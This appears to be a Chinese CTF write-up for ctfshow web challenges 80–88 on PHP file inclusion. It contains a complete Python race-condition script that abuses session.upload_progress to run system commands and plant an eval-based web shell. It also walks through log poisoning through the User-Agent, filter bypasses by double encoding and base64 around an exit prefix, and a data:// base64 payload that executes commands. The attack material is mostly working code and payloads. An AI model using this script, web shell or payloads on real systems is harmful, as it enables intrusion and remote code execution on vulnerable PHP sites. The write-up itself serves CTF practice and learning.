web80-81
web80
过滤了data协议,php
这题新思路,伪造UA写入php代码,然后包含日志文件来进行getshell,
当然这题还可以用大小写绕,因为str_replace区分大小写
?file=/var/log/nginx/access.log
查flag即可
web81
web82-86
过滤了.不能通过文件包含来进行绕过
利用session.upload_progress进行文件包含
不多说了,WMCTF也做过
import io
import sys
import requests
import threading
sessid = 'penson'
url='http://ffd7ccbf-4d5a-4096-a5eb-7773d340c7ac.chall.ctf.show/'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
url=url,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');fputs(fopen('shell.php','w'),'<?php @eval($_POST[penson])?>');?>"},
files={"file":('penson.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{url}?file=/tmp/sess_{sessid}')
if 'flag{' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
运行完事,
成功写入shell
查看flag,不知道这环境什么鬼,cat不能用
web 83
多了两函数,无影响,依然可以用那个条件竞争来进行文件包含
写shell还是非常快的
web 87
1、ctfshow web87
Penson
1、ctfshowweb87
看到这个die就很容易想到绕过死亡exit了
但是由于他过滤了php,data,但是这个又不是正则匹配,而后面加了个urldecode
https://www.anquanke.com/post/id/202510#h3-4
直接用双编码
既然没禁base64那就直接base64
在base64解密时会忽略不可识别的字符,phpdie长度为6,要8个为一组,凑齐
然后就能将这个die给base64解码
再访问penson.php
getshell
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤一堆东西,但是没有过滤:和data协议
data:text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4